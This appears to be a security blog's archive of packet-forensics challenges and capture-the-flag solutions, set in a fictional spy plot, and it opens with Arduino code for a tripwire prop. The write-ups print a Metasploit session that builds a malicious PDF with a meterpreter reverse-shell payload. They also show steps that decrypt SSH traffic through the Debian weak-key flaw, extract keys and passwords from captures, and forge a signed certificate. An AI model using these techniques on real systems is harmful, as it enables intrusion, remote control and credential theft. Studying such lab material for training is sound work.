pinMode( LDR, INPUT );
pinMode( FSR, INPUT );
pinMode( relay, OUTPUT );

// Turn off alarmIndicator and fsrIndicator
digitalWrite( alarmIndicator, LOW );
digitalWrite( fsrIndicator, LOW );

// Turn off the LEDs on the LCD
digitalWrite( lcdLED1, LOW );
digitalWrite( lcdLED2, LOW );

// set up the LCD's number of columns and rows:
lcd.begin(16, 2);

// Turn off relay
digitalWrite( relay, LOW );
}

void loop()
{
checkLCDButton();
health -= checkLDR();
health -= checkFSR();
health -= checkTripwires();
if( health <= 0 )
digitalWrite( alarmIndicator, HIGH );

updateDisplay();

if( serialInputMessageComplete )
processSerialInput( serialInput );
}

///////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////
void updateDisplay()
{
if( dispMetro.check() == 1 )
{
switch( dispMode )
{
case dispModeListeningOnText:
lcd.clear();
lcd.print( "Listening on:" );
break;
case dispModeListeningOnValue:
lcd.clear();
lcd.print( listeningOn );
break;
case dispModeControlCodeOneText:
lcd.clear();
lcd.print( "Control code 1:" );
break;
case dispModeControlCodeOne:
lcd.clear();
lcd.print( "QZ = rmtmgmt on" );
break;
case dispModeControlCodeTwoText:
lcd.clear();
lcd.print( "Control code 2:" );
break;
case dispModeControlCodeTwo:
lcd.clear();
lcd.print( "JV = rmtmgmt off" );
break;
case dispModeRemote:
lcd.clear();
lcd.print( "Remote mgmt: " );
lcd.setCursor( 13, 0 );
lcd.print( remoteManagementActive ? "Y" : "N" );
break;
case dispModeProbingFor:
lcd.clear();
lcd.print( "Probe for: 4zt3c" );
break;
default:
dispMode = 0;
}

// Cycle display
if( ++dispMode >= numModesActive )
dispMode = 0;
}
}

///////////////////////////////////////////////////////////////
// Checks the LDR against the threshold
// Returns penalty
///////////////////////////////////////////////////////////////
int checkLDR()
{
int penalty = 0;

if( !LDRTripped )
{
int val = analogRead( LDR );

if( val > LDRThreshold )
{
penalty += LDRPenalty;
LDRTripped = true;
}
}

return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks all tripwires
// Returns accumulated penalty
///////////////////////////////////////////////////////////////
int checkTripwires()
{
int penalty = 0;

for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
{
if( !tripWireTripped[tripWire] )
{
if( digitalRead( tripWirePins[tripWire] ) == LOW )
{
penalty += tripWirePenalty[tripWire];
tripWireTripped[tripWire] = true;

if( tripWire == 3 )
{
// Fire the Nerf gun! Ahahahhahahaaaaaa!
digitalWrite( relay, HIGH );
delay( 2000 );
// Cease fire!
digitalWrite( relay, LOW );
}
}
}
}

return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks the FSR
// Returns penalty
///////////////////////////////////////////////////////////////
int checkFSR()
{
int penalty = 0;

if( fsrMetro.check() == 1 )
{
// Turn on LED
digitalWrite( fsrIndicator, HIGH );

if( !FSRTripped )
{
int val = analogRead( FSR );

if( val < FSRThreshold )
{
penalty += FSRPenalty;
FSRTripped = true;
}
}

// Delay to blip the LED
delay( 10 );
// Turn LED off
digitalWrite( fsrIndicator, LOW );
}

return( penalty );
}

///////////////////////////////////////////////////////////////
// Checks status of button
// Resets sensors when pressed
///////////////////////////////////////////////////////////////
void checkLCDButton()
{
if( digitalRead( lcdButton ) == HIGH )
{
resetTraps();
digitalWrite( lcdLED1, HIGH );
}
else
digitalWrite( lcdLED1, LOW );
}

///////////////////////////////////////////////////////////////
// Resets everything for the next team!
///////////////////////////////////////////////////////////////
void resetTraps()
{
// Reset health
health = 1400;
FSRTripped = false;
fsrMetro.interval( fsrFastPoll );
fsrFastPolling = true;
for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
tripWireTripped[tripWire] = false;
LDRTripped = false;
LDRThreshold = ldrLowThreshold;
ldrIsThresholdLow = true;
numModesActive = dispModesRemoteOff;
remoteManagementActive = false;
digitalWrite( lcdLED2, LOW );
}

///////////////////////////////////////////////////////////////
// SerialEvent occurs whenever a new data comes in the
// hardware serial RX.	This routine is run between each
// time loop() runs, so using delay inside loop can delay
// response.	Multiple bytes of data may be available.
///////////////////////////////////////////////////////////////
void serialEvent()
{
while( Serial.available() )
{
// get the new byte:
// add it to the inputString:
serialInput += inChar;
// if the incoming character is a #, set a flag
// so the main loop can do something about it:
if (inChar == '#')
serialInputMessageComplete = true;
}
}

///////////////////////////////////////////////////////////////
// Processes input from the PC
///////////////////////////////////////////////////////////////
void processSerialInput( String message )
{
if( message.startsWith( "STATUS" ) )		// Return sensor status
{
Serial.print( "STATUS FSR " );
Serial.print( FSRTripped ? "T " : "N " );
Serial.print( fsrFastPolling ? "F" : "S" );
Serial.print( " LDR " );
Serial.print( LDRTripped ? "T " : "N " );
Serial.print( ldrIsThresholdLow ? "L" : "H" );
for( int tripWire = 0; tripWire < numTripWires; tripWire++ )
{
Serial.print( " TRIP " );
Serial.print( tripWire + 1 );
Serial.print( tripWireTripped[tripWire] ? " T" : " N" );
}
Serial.print( " RMGMT " );
Serial.print( remoteManagementActive ? "Y" : "N" );
Serial.print( " HLTH " );
Serial.print( health );
Serial.print( "#" );
}
else if( message.startsWith( "LDRLOW" ) )	// Adjust LDR
{
LDRThreshold = ldrLowThreshold;
ldrIsThresholdLow = true;
Serial.print( "OK#" );
}
else if( message.startsWith( "LDRHIGH" ) )	// Adjust LDR
{
LDRThreshold = ldrHighThreshold;
ldrIsThresholdLow = false;
Serial.print( "OK#" );
}
else if( message.startsWith( "FSRSLOW" ) )	// Adjust FSR
{
fsrMetro.interval( fsrSlowPoll );
fsrFastPolling = false;
Serial.print( "OK#" );
}
else if( message.startsWith( "FSRFAST" ) )	// Adjust FSR
{
fsrMetro.interval( fsrFastPoll );
fsrFastPolling = true;
Serial.print( "OK#" );
}
else if( message.startsWith( "REMOTEON" ) )	// Toggle remote management ON
{
numModesActive = dispModesRemoteOn;
remoteManagementActive = true;
digitalWrite( lcdLED2, HIGH );
Serial.print( "OK#" );
}
else if( message.startsWith( "REMOTEOFF" ) )	// Toggle remote management OFF
{
numModesActive = dispModesRemoteOff;
remoteManagementActive = false;
digitalWrite( lcdLED2, LOW );
Serial.print( "OK#" );
}
else if( message.startsWith( "07:" ) )	// Set phone number
{
listeningOn = message;
Serial.print( "OK#" );
}
else if( message.startsWith( "RESET" ) )	// Resets all the traps
{
resetTraps();
Serial.print( "OK#" );
}
else if( message.startsWith( "HEALTH" ) )	// Outputs health only
{
Serial.print( health );
Serial.print( "#" );
}
else
Serial.print( "Uknown!" );

// Done with the message now
serialInput = "";
serialInputMessageComplete = false;
}


In part two of this post, I’ll delve into TempEx One and its control unit – stay tuned! In the meantime, perhaps you’d like to get yourself an Arduino and start tinkering?

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Adventures of Packet Tracy, PI – The Case of the Disappearing Delicacy

Posted in Packet Challenge, Packet Tracy on 15 February, 2013 by Alec Waters

Welcome to my latest challenge, part of the run-up to BSides London 2013. It’s a bit different this time, both in terms of what you have to do and what you get if you do it. The prizes on offer are tickets to the event, with a special prize of a ticket to Hack In Paris for the best entry! Full rules and T’s&C’s are at the end of this post.

Are you sitting comfortably? Then let’s begin…

My name’s Tracy, Packet Tracy. I’m a PI. It says so on my door. Last Tuesday my door was locked because I was out for lunch. Some people only take an hour for lunch, but I do my best work at lunchtime so I take the whole day. As usual I headed for Fat Dex’s Diner on the West Side. Gotta be careful not to confuse it with the oil refinery; the place is covered in a film of grease, and Fat Dex ain’t called Fat Dex for nothing.

I slid in through the front door, tripping over tumbleweeds left and right. I had my choice of tables – the last time this joint was full Kennedy was on the throne and Fat Dex was just called Dex. Even so, lately there are so many tumbleweeds I worry they’re planning some kind of global uprising. Better stock up on weedkiller.

Wendy comes over with something she claims is coffee, but I suspect it’s actually come from the refinery. I ask her for my usual zeppelins in a fog, but when she brings them over it looks like they’ve come from Lakehurst field instead of the kitchen. Oh the humanity.

I can hear Dex crashing about out back. Clearly something is rotten in the state of Dexmark, which is usually my cue to leave before Dex and the Knuckleduster Twins politely ask me to pay my tab. In between tripping over tumbleweeds and slipping on grease he manages to get the jump on me and we sit down for a gentlemanly discussion. He looks stressed and he’s sweating. More than usual. Which is a lot.

Dex says takings are down and the Fatelli brothers are on his back and unless he turns things around soon they’ll be breaking it. He says it’s not his fault, but it never is. According to Dex only San Andreas has faults.

This time he might be right. Some new joint called Iggy’s Eats has opened up on the East Side, and Dex can’t compete. He says they’ve got more money than he has grease, and they’ve got a brand new three-storey R&D facility that’s kicking out some kind of seafood dish that people come from miles around to hook. If that wasn’t bad enough he says they’ve stolen his secret recipe for cheese on toast.

Before I can tell him that particular recipe ain’t so secret, he says he’s got proof that’ll send Iggy and her Eats down the river to Sing Sing quicker than you can play a song song. Wendy’s culinary talents are below par because she’s tired – she’s been on a nocturnal special op on behalf of Dex. She got close to Iggy’s top guy Jamie and was able to go through his drawers once she was done going through his drawers. She came back with a USB stick with Dex’s stolen cheese on toast recipe on it, enough proof to get Iggy a private room in the State’s finest long-term accommodation facility. But there’s a problem that’s stickier than Dex’s tables – the recipe’s encrypted. According to Wendy the password is in a safe in Iggy’s private office, and not even a team of invisible ninjas is getting in there.

So that’s what Dex is after – he needs me to decrypt the stick and get the proof that Iggy has stolen his recipe. It was a tough case, but you don’t call a PI for the easy ones…

For all you budding PIs out there, the question we need answered is very simple. The crime of corporate espionage has been committed, but who stole the recipe and who will end up in the dock? Iggy? Jamie? Someone else? You’ll need to conduct a thorough investigation and write up your evidence so PT can take it all to the Judge. When you’re done, you can submit it via email here.

Before we give you the USB stick, please take a moment to read the rules:

1. You cannot enter if you are a volunteer for this event or a member of the BSidesLondon crew
2. You must submit your answer by April 1st 2013 18:00 (6pm) GMT
3. The first three people to submit the correct answer showing all the steps taken to determine the guilty party will get a ticket to BSidesLondon13
4. After the closing deadline the best answer will get a ticket for Hack In Paris 2013, a ticket to BSidesLondon13 (if required) plus a further winner of BSidesLondon13 tickets will be selected from all those who have submitted a correct and complete answer. These winners will be decided on criteria including the thoroughness and completeness of the presented investigation, and/or the use of an appropriate narrative style
5. Judge’s decision is final and prizes can’t be exchanged for cash or favours 😉
6. This challenge will involve you interacting with live systems via the Internet. If the system’s name doesn’t end in wirewatcher.net, you’re in the wrong place and you should stop.
7. The only tool you need to dish up the dirt is your brain – step away from the BackTrack laptop and use GreyMatter 1.0 instead. Any forceful attempts to “hack” the challenge systems may result in it being taken offline prematurely, which would be a shame. All necessary information is provided for you – all you need to do is find it!
8. For data protection purposes, names and email addresses of participants will only be used for the challenge, and will be shared with the challenge creator only for the purpose of selecting the best answers. You have Packet Tracy’s cast-iron no-spam guarantee!
9. All characters, organisations and other such entities featured in the challenge are fictitious. Any resemblance to real persons, living or dead, is purely coincidental.
10. Play nice and have fun, and please don’t share any answers with anyone!

If you need any hints, you can try asking PT himself, but he’s pretty tight-lipped, especially in public!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter, Part III – Solution

Posted in Packet Challenge, Spy Hunter on 14 February, 2012 by Alec Waters

Part III was a different kind of challenge. For the first time, players were on the offensive, acting as Agents rather than reacting as Investigators. Out of over 220 downloads of the mission brief, only a single Yellow Sun agent managed to complete the challenge – hats off to Marcelo Mandolesi, Agent Of The Month! Marcelo’s excellent writeup is below, but first, a quick word from me:

I hope you have fun with these challenges; I certainly have fun creating them! I’m running the 2012 Brighton Half Marathon on Sunday 19th of February in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

Now, over to Marcelo:

## Discover how to access the GMTA website

Open up the OperationCHASTISE.pcap file with Wireshark and follow the TCP stream of the IRC packets. There we find the following URL.

This leads to: https://gmta.nybblecomms.42 which means we need to add the .42 top-level domain DNS servers to be able to browse to it. The DNS servers can easily be found here: http://wiki.42registry.org/page/Resolve. Run a nslookup gmta.nybblecomms.42 and we see that the IP address is 2001:6f8:608:7:221:5aff:feab:5144.

My ISP is not IPv6 friendly so that left me with making a Teredo tunnel. After some configuration I verified that I was able to browse IPv6 websites and could access the NybbleComms website. This shows the Teredo tunnel successfully working.

The trick was to change the type from “client” to “enterpriseclient” and adding a static route for all ipv6 traffic to use the Teredo interface with the following respective commands:

netsh interface Teredo set state enterpriseclient
netsh interface ipv6 add rouate ::/0 interface=10

(the interface number is listed at the beginning of the route print command’s output)

Take a look at the bottom of the website and we find that the GMTA’s public key is available for download here: https://gmta.nybblecomms.42/GMTA-CA.pem.

## Discover the date and time of NybbleComms’ next test missile firing

Going back to the IRC conversation, we find that the time and dates of the missile firings are publicly known. Their support is kind enough to give us the notice.
The notice is written in the “Notices to Airmen” format. After some patient Googling, you can translate the message to say:

• QWMLW = missile, gun or rocket firing will take place
• Within a 40 nautical mile radius of the coordinates 52.132237 North 0.973028 East
• EGUW = Wattisham Airfield (a military airport in Wattisham UK)
• On February 18th 2012 from 10:00 AM to 10:30 AM UTC/GMT. This means that the launch time is at 10:00AM but the notice announcement lasts until 10:30.

## Recover enough cryptographic material to allow the signing of a fake, but valid, MTP

Time to take a look at another TCP stream in the pcap file. Starting at packet number 220, we see some encrypted SSH traffic. I wonder what’s happening in IRC right when this starts. Go to packet number 217 and we find the dev support guy saying “Let me transfer that private key for you”.

It seems that this is our chance to get a copy of the GMTA’s private key which will allow us to sign the public key retrieved from the website. The dialog in IRC tells us that the dev support guy keeps a copy of the private key on his Ubuntu Gutsy and gives us a clue that this is very vulnerable. Doing some searches for SSH vulnerabilities around 2007-2008 leads us to this: http://www.debian.org/security/2008/dsa-1571 which states:

Luciano Bello discovered that the random number generator in Debian’s openssl package is predictable. This is caused by an incorrect Debian-specific change to the openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable.

Doing some more searches leads us to these set of tools: https://www.cr0.org/progs/sshfun/ designed to take advantage of this vulnerability. First you have to export only the SSH packets from Wireshark and use the tool tcpick to split the traffic into server and client streams. Running the ssh_decoder.rb file on these two files lets us see the normally encrypted SSH traffic.

The data that is relevant for us is stored in the sshdecrypt.1.client.dat file because the client transferred the key to the server. Note that the Ruby script required the –c switch which means that the client is vulnerable, not the server. By running strings on the .dat file we have the private key as well as his username and password.

## Discover the location of the BATCAVE

The briefing document gives a clue that the re-examining the social media profiles of SIBHOD operatives may be useful. It appears that Ultra Venona has tweeted this link: http://j.mp/xzxmfW which leads to a SQL 2008 Express database. Take a look inside and we find a database called placesDB with the following information.

The location of the BATCAVE is stored in this database in SQL’s geography data type. We can use the STAsText method to convert the binary data to readable form.

The coordinates of the BATCAVE are 52.106428 North 1.58205 East. It appears to be an underground bunker on the East coast of England. Notice that this bears resemblance to the SIBHOD logo.

## Assembling the MTP certificate

First we have to setup our openssl environment. Note I will skip a lot of the detail in configuring the openssl configuration file. Copy an existing openssl.cnf from the web and edit it to use the GMTA’s public and private keys.

Certificate = GMTA-CA.pem
private_key = GMTA-CA.key.pem

Configure the NotBefore and NotAfter times of the certificate by adding the following two lines to the [ CA_default ] section of openssl.cnf. Since the launch is at 10:00 AM I chose 09:56AM and 10:04AM as my start and end dates.

default_startdate = 120218095600Z
default_enddate = 120218100400Z

Add the following information to the [ req_distinguished_name ] section of openssl.cnf. The OU field should equal “WARHEAD-FAE” because thermobaric explosives are effective against underground bunkers. The CN field should equal “52.106428×1.58205” for the coordinates of the BATCAVE. The rest of the fields do not matter but I made them match the GMTA’s public key.

[ req_distinguished_name ]
0.organizationName = NybbleComms
localityName = Guildford
stateOrProvinceName = Surrey
countryName = GB
commonName = 52.106428×1.58205

The following section will configure the X509v3 extensions which will make the Authority Key Identifier equal the GMTA’s cert.

[ usr_cert ]
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer

Run this command to create a certificate request:

openssl req -new -nodes -out req.pem -config openssl.cnf

Run this command to create the certificate and sign it:

openssl ca -out MTP.pem -config openssl.cnf -infiles req.pem

Convert the pem file to der format:

openssl x509 -in MTP.pem -outform der -out MTP.der

View the contents of the certificate:

openssl x509 –in MTP.der –inform –text -noout

The Authority Key Identifier matches and all the other required fields look good too.

## Upload the MTP to the Guided Missile Targeting Authority

The GMTA website requires a Userid and Password field as well as the MTP certificate.

Packet number 395 in the pcap file contains MySQL traffic with a username and password of “launchmaster” and “one2ThreeBOOM”.

Supply the certificate and these credentials and we verify that it has accepted our forged certificate.

Nice shot, Marcelo! The question now is, will NybbleComms notice the unauthorised MTP in time to revoke it? Or will Yellow Sun finally be rid of their two greatest threats? Stay tuned for Part IV!

## Bootnotes

The abbreviation-laden NOTAM retrieved from the IRC chat reveals the location of NybbleComm’s launch site, correctly identified by Marcelo as RAF Wattisham. Taking a closer look at the site reveals the missile sitting on its pad:

As for the location of the BATCAVE, it’s actually the site of an experimental over the horizon radar system codenamed Cobra Mist; the BATCAVE itself is at the focal point of the antenna array. The radar itself was a failure, despite a nine-figure price tag.

Finally, the real Operation CHASTISE was this one, which I imagine a lot of people are familiar with.

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter, Part III

Posted in Packet Challenge, Spy Hunter on 24 January, 2012 by Alec Waters

From the mission brief:

Operation CHASTISE – Strategic Aims
Subvert NybbleComms’ next missile test, replacing the inert test warhead with a live one and targeting the BATCAVE. The net effect will be the physical destruction of SIBHOD, and the discrediting of arch-rival NybbleComms as a business competitor for allowing a test firing to go so badly wrong…

Yellow Sun Heavy Industries have been playing catchup ever since Donald Burgess was recruited by the Sinister Icy Black Hand Of Death. Now, at last, a chance has arisen to strike decisively and put an end to Yellow Sun’s two biggest threats. Do you have the skills to carry out the mission successfully? Click here to find out!

## PS…

I hope you have fun with these challenges; I certainly have fun creating them. If you were wondering how you could possibly say “thankyou”, I’m running the 2012 Brighton Half Marathon in aid of Help for Heroes – please sponsor me if you can by clicking the link to the right:

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

## The Spy Hunter, Part II – Solution

Posted in Packet Challenge, Spy Hunter on 14 August, 2011 by Alec Waters

The Spy Hunter, Part II is here. There’s an epilogue to the story here which will make more sense once you’ve read this post!

As with last time, we had a good number of entries to the challenge. It was a very close call, but the winner this time is Jeff Gibat! Well done Jeff; honorable mentions also go to Sairon Istyar, Marcelo Mandolesi and John Douglas.

Before going over Jeff’s answers, I’ll first go over the process needed to dissect the supplied pcap. My aim for the challenge was to require quite a diverse skillset in order to root out all the answers, including:

• pcap analysis
• IE cache forensics
• Malware reverse engineering
• Audio steganography
• Relational database analysis

Opening the pcap in Wireshark and nosing around a little, we can see that we’re dealing with a stream of TFTP traffic between two hosts, 192.168.93.3 and 192.168.88.56:

If we apply a display filter of “tftp.opcode == 2” (“Write Request”), we can see that three files have been transferred, namely:

• ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
• SHOPPINGLIST.7z
• IECache.7z

The trick now is to extract these three from the capture. Wireshark doesn’t seem to be great at this, but there are several other tools which are including NetworkMiner, Xplico and TFTPgrab. Extra points to John Douglas who went above and beyond the call of duty and wrote his own parser to carve the three files out.

Loading the capture into NetworkMiner shows the three files it has extracted on the “Files” tab. Note that the wav file has had its filename truncated to twenty characters, which is a shame because the filename is a clue!

NetworkMiner will conveniently save these files for you in subdirectories under the AssembledFiles directory. Let’s examine the three in turn:

• ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav
This is a well formed wav file, but when you play it it’s not exactly tuneful.
• SHOPPINGLIST.7z
This is a well formed 7z archive, but it’s password protected.
• IECache.7z
Again, this one is a well formed 7z archive, but there’s no password protection here.

The third file is the low-hanging fruit at this point, so we’ll tackle it first. As hinted by the filename, it does indeed contain an IE Cache directory (mercifully quite a small one!). There are any number of tools for performing cache forensics; IECacheView is one of them. By clicking Select Cache Folder from the File menu and specifying the directory where you unzipped the .7z file we can take a look:

The cache directory shows someone logging into a webmail interface at mail.email4espionage.spy. Two messages are read, the first of which looks like this:

Return-Path: dave.nice@email4espionage.spy Received: from email4espionage.spy ([127.0.0.1]) by mail.email4espionage.spy ; Fri, 8 Jul 2011 21:41:20 +0100 MIME-Version: 1.0 X-Mailer: MailBee.NET 6.0.2.220 X-Priority: 3 (Normal) From: "Dave Nice" <dave.nice@email4espionage.spy> To: roberto.tablato@email4espionage.spy, kerry.nitpick@email4espionage.spy, guatrau@email4espionage.spy, steve.austen@email4espionage.spy, pete.michaels@roseandcrown.pub Cc: dave.nice@email4espionage.spy Subject: Re: SIBHOD and friends team day out Date: Fri, 08 Jul 2011 21:41:20 +0100 X-Originating-IP: 127.0.0.1 Message-ID: <2.6b59ee93be36ce1bad15@SIBHOD-1> Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable

Hi all, The final list of attendees will be: * Myself * Bobby (NOT Suzy!) * Kerry * Pete * Garry Steve's not coming of course, and the Guatrau says he'll meet us at the BATCAVE for beers afterwards.

Venue: HAPPYLAND; meet on Saturday 16th at BLACK TWO at 1430. Garry's got us great seats for Kung Fu Panda 2! He also says that a COWABUNGA is in effect at SODIUM - let's eat first, and we can watch the film with plunder in hands!

The boring bit: Following standard SIBHOD procedure, I am issuing a tentative UTOPIA to everyone for the duration of the outing. Please act like it - do not group up before reaching BLACK TWO. Sit in groups of no more than two at SODIUM.

The fun bit: Come in fancy dress as one of the Furious Five. There will be a prize for the best outfit. I call Po! 
See you next Saturday, Dave

OK, sounds like a fun day out, and we’ve got some names, places and cryptic codewords to chew over as we go on.

This looks like the phishing message sent by Yellow Sun from @HomerHicks to @UltraVenona, bearing the recognition code “scelidosaurus” provided by Donald Burgess and the link provided by Keith Starr. The person whose IE cache we’re going through could therefore be @UltraVenona himself!

The  IE cache also shows that the link above was indeed clicked as Yellow Sun hoped it might be, and a file called TNM-Defect-943024.pdf was downloaded – this is the exploit supplied by Starr to compromise @UltraVenona’s machine. By analysing this file, we can determine what Starr’s intent was, but the short answer is that it’s a standard MetaSploit exploit:

 =[ metasploit v4.0.1-dev [core:4.0 api:1.0] + -- --=[ 721 exploits - 367 auxiliary - 74 post + -- --=[ 226 payloads - 27 encoders - 8 nops =[ svn r13543 updated today (2011.08.12)

msf > use exploit/windows/fileformat/adobe_cooltype_sing msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_cooltype_sing) > set LHOST 192.168.93.2 LHOST => 192.168.93.2 msf exploit(adobe_cooltype_sing) > set LPORT 4444 LPORT => 4444 msf exploit(adobe_cooltype_sing) > set FILENAME TNM-Defect-943024.pdf FILENAME => TNM-Defect-943024.pdf msf exploit(adobe_cooltype_sing) > exploit 
[*] Creating 'TNM-Defect-943024.pdf' file... [*] Generated output file /home/user/.msf4/data/exploits/TNM-Defect-943024.pdf

When @UltraVenona opened this file with his vulnerable PDF reader, Keith Starr got a Meterpreter shell on @UltraVenona’s machine. The Yellow Sun strikeback is looking pretty good at this point!

Having dug about as deeply as possible into the IE cache it’s time to turn our attention to the other two files, the tuneless wav and the password protected SHOPPINGLIST.7z. Having to brute-force the password for the 7z isn’t really in the spirit of a packet challenge, so perhaps the password is present in the evidence somewhere. Let’s see where analysing the wav file gets us.

As I mentioned, there’s a clue in the filename of the wav file, which is present in full in the pcap – ARTIST_-_Spectrogram_-_TRACK_-_Secrets.wav. I’m sure that Spectrogram are indeed the Greatest Band The World Has Ever Known, but a spectrogram is also a visualisation of an audio signal. Several tools are available to render spectrograms of audio files, such as Spectrogram 5 which you can download here. Run it up, select Analyze File from the File menu, and load up our wav file. You’ll be treated to the view below:

Our little visualisation has revealed some text! Perhaps “IamJamesBond” is the passphrase to SHOPPINGLIST.7z? We’ll find that out in a minute – for now, here’s a quick explanation of how I created the wav.

First, I created a white on black image file containing the phrase IamJamesBond. Then I loaded it into Coagula with Open Image from the file menu:

Now select “Render without blue” from the Sound menu, and finally “Save Sound As” from the File menu. Load the resulting wav file into Spectrogram to see the goodness.

Right, back to the plot. Does IamJamesBond open up SHOPPINGLIST.7z? Why yes, it does! There’s only one file in the archive, called SHOPPINGLIST.db. Sounds like a database file, but what type?

morpheus:~# file SHOPPINGLIST.db SHOPPINGLIST.db: SQLite 3.x database

There are many tools available for analysing SQLite databases, and SQLite Maestro is a very nice one. The first thing we need to do with any unknown database is determine its structure, in terms of tables, columns and foreign key relationships. SQLite Maestro makes this quite straightforward – select Designer from the Tools menu, then hit “Reverse Engineering” under General. You will be rewarded with a schema diagram a little like this:

I tried to make the database as meaningful and realistic as possible in terms of structure and foreign key naming conventions. There are straightforward one-to-many joins, like the one between the Person and the Photo table, which represent relationships like “one person may have many photos”. There are also self-referential foreign keys which reference the same table rather than another one, e.g. Person.Reports_To is a foreign key onto Person.ID – this represents the organisation’s hierarchy. The AgentPlacement and Employment tables facilitate many-to-many joins, representing, for example, the fact that a single agent can be placed in many organisations and also that a single organisation may have many agents in it. Have a nose around, especially in the Codewords table, and hopefully things will all make sense (including why the database itself is called SHOPPINGLIST!).

The bulk of the mission objectives can be fulfilled with careful analysis of the database, so without further ado we’ll move on to Jeff’s answer. Where Jeff has expanded out a codeword I will supply the original, and I will also give appropriate SQL statements to back up Jeff’s answers. I’ll use italics to differentiate.

Over to Jeff:

### Determine how Starr took over UltraVenona’s computer. What exploit and delivery mechanism did he use?

• Delivery mechanism: PDF
• Exploit: javascript heap overflow in PDF. More info to come. I used Didier Steven’s pdfid and pdf-parser to extract the javascript. The Javascript which is called when the document is opened creates a large array in memory of what probably contains nop sleds and shellcode repeated. There was no exec() or other function call from the javascript so my initial hunch is that by allocating such a large amount of memory, it crashes the reader application and control finds its way to the shellcode.

### Determine the name of the Adversary organisation. Are they a foreign intelligence service, or some other kind of organisation?

The Sinister Icy Black Hand of Death (greatest covert intelligence agency the world has ever seen) (Look in the Organisation table)

### Determine if Yellow Sun is the Adversary’s only target, or if there are others

Other target: NybbleComms (Look in the Organisation table)

### Determine the names and aliases of the agents employed by the Adversary, plus the Adversary’s organisational hierarchy

 Name Alias_Name Notes Dave Nice Ultra Venona Assigned by SIBHOD Donald Burgess Homer Hicks Assigned by SIBHOD Kerry Nitpick Arnold Davies Assigned by SIBHOD Kerry Nitpick Keith Starr Known alias, used for non-SIBHOD business Kerry Nitpick Rock Studman Self-defined nickname used in futile attempts to impress the ladies Kerry Nitpick Scorpion Assigned by SIBHOD Pete Michaels Argus Assigned by SIBHOD Pete Michaels Pubmeister Nickname used by acquaintances and customers Real name unknown The Guatrau Assigned by SIBHOD Roberto Tablato Little Bobby Tables Assigned by SIBHOD Roberto Tablato Silky Suzy Assigned by SIBHOD; only uses this alias on Friday nights at The Pink Oyster Social Club (MARKET) Steve Austen Kim Philby Assigned by SIBHOD Steve Austen Stanley Assigned by SIBHOD Susan Jones Barbie Assigned by SIBHOD

SELECT Person.Name, Alias.Alias_Name, Alias.Notes FROM Person INNER JOIN Alias ON (Person.ID = Alias.Person_FK) ORDER BY Person.Name

Organizational Hierarchy:

Susan Jones reports to Pete Michaels
Pete Michaels, Donald Burgess, Kerry Nitpick, and Roberto Tablato report to Dave Nice
Dave Nice and Steve Austen report to The Boss (Name unknown).

SELECT Person.Name as 'Person', Boss.Name as 'Boss' FROM Person Boss INNER JOIN Person ON (Person.Reports_To = Boss.ID) ORDER BY Boss.Name

### Determine where these people have “day jobs”

 Name Organization Name Job description Dave Nice The Sinister Icy Black Hand of Death Agent handler. The best looking, most skilled operative on SIBHOD’s payroll haha Donald Burgess Yellow Sun Heavy Industries Employed as a low-level tech support worker. Hasn’t been promoted in over ten years. Easily manipulated Garry Francis MacDoddy’s Flips burgers Garry Francis The Picture House Mans the popcorn booth Kerry Nitpick The Sinister Icy Black Hand of Death Technical support (client side exploits) Pete Michaels The Rose and Crown Pub Bartender Real name unknown The Sinister Icy Black Hand of Death The Boss. Do what he says. Roberto Tablato The Sinister Icy Black Hand of Death Technical support (web appsec) Steve Austen The Sinister Icy Black Hand of Death Recruiter. Keeps his distance in order to remain covert long-term. Aside from New Potential Recruits (GREENHILLS), only The Guatrau has ever met him in person; possibly schoolfriends? Susan Jones Yellow Sun Heavy Industries HR secretary dating Pete Michaels. Loves to gossip about co-workers. Abuses her position in HR to feed her addiction to gossip. Unwittingly supplies Michaels with useful information

SELECT Person.Name, Organisation.Name, Employment."Job description" FROM Person INNER JOIN Employment ON (Person.ID = Employment.Person_FK) INNER JOIN Organisation ON (Employment.Organisation_Fk = Organisation.ID) ORDER BY Person.Name

### Determine details of their cover placements in target organisations, their mission objectives, and which aliases are used for each placement

 Name Alias_Name Organization Name Mission objectives Kerry Nitpick Arnold Davies NybbleComms Embed backdoors into the guidance software of tactical cruise missiles from NybbleComms (CANDYSTORE). Once we have the ability to control an arbitrary missile in flight, the Guatrau wants a flashy joystick to go on his desk to fly them with Roberto Tablato Silky Suzy The Pink Oyster Social Club Work Friday nights as a hostess – uses this position to get “close” to patrons for intel gathering and blackmail purposes. Just don’t ask how close he gets…. Pete Michaels Argus The Rose and Crown Pub Overhear the conversations of intoxicated Yellow Sun (GOLDMINE) employees. Use this together with intel from Barbie to supply New Potential Recruits (GREENHILLS) to Stanley Donald Burgess Homer Hicks Yellow Sun Heavy Industries Obtain the plans to Project ThatsNoMoon from Yellow Sun (GOLDMINE). Short-term throwaway asset. Has extremely limited tradecraft, and is likely to be a liability once used – cut all ties immediately he delivers useful assets Susan Jones Barbie Yellow Sun Heavy Industries Long-term asset. Has no idea she’s being used by Argus to supply information on Yellow Sun (GOLDMINE) employees.

 SELECT Person.Name, Alias.Alias_Name, Organisation.Name, AgentPlacement."Mission objectives" FROM AgentPlacement INNER JOIN Organisation ON (AgentPlacement.Organisation_Fk = Organisation.ID) INNER JOIN Alias ON (AgentPlacement.Alias_FK = Alias.ID) INNER JOIN Person ON (Alias.Person_FK = Person.ID)

### If possible, determine what the agents look like

Donald Burgess

Roberto Tablato

